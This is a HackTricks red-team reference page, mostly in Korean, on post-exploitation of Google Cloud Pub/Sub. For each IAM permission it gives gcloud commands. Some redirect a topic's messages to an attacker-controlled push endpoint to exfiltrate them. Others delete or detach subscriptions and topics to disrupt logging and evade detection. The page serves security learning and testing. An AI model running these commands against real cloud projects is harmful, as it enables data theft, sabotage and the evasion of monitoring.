GCP - Pub/Sub Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Pub/Sub

더 많은 Pub/Sub 정보는 다음 페이지를 확인하세요:

GCP - Pub/Sub Enum

pubsub.topics.publish

토픽에 메시지를 게시하여 예상치 못한 데이터를 보내고 예상치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

구독이 메시지를 받지 못하도록 방지하는 데 유용하며, 아마도 탐지를 피하기 위해 사용됩니다.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

구독이 메시지를 받지 못하게 하여 탐지를 피할 수 있습니다. 구독이 연결된 주제도 삭제할 수 있습니다.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

이 권한을 사용하여 --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key와 같은 주제의 일부 설정을 업데이트하여 방해합니다.

pubsub.topics.setIamPolicy

이전 공격 중 하나를 수행할 수 있는 권한을 부여합니다.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

웹 서버에서 모든 메시지를 가져옵니다:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

구독을 생성하고 이를 사용하여 메시지를 가져오기:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

구독 삭제는 로그 처리 시스템이나 유사한 것을 방해하는 데 유용할 수 있습니다:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

이 권한을 사용하여 메시지가 액세스할 수 있는 장소(URL, Big Query table, Bucket)에 저장되도록 설정을 업데이트하거나 단순히 방해할 수 있습니다.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

이전의 언급된 공격을 수행하는 데 필요한 권한을 부여합니다.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

스키마를 토픽에 연결하여 메시지가 이를 충족하지 못하게 하고, 따라서 토픽이 중단되도록 합니다. 스키마가 없는 경우 하나를 생성해야 할 수도 있습니다.

schema.json

{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

이것은 스키마를 삭제하면 스키마를 충족하지 않는 메시지를 보낼 수 있을 것처럼 보일 수 있습니다. 그러나 스키마가 삭제되면 실제로 아무 메시지도 토픽에 들어가지 않게 됩니다. 따라서 이것은 쓸모없습니다:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

이전의 언급된 공격을 수행하는 데 필요한 권한을 부여합니다.

pubsub.snapshots.create, pubsub.snapshots.seek

이것은 모든 unACKed 메시지의 스냅샷을 생성하고 이를 구독으로 되돌립니다. 공격자에게는 그다지 유용하지 않지만 여기에 있습니다:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• 구독 플랜을 확인하세요!

• 💬 Discord 그룹 또는 telegram 그룹에 가입하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.

• PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 해킹 트릭을 공유하세요.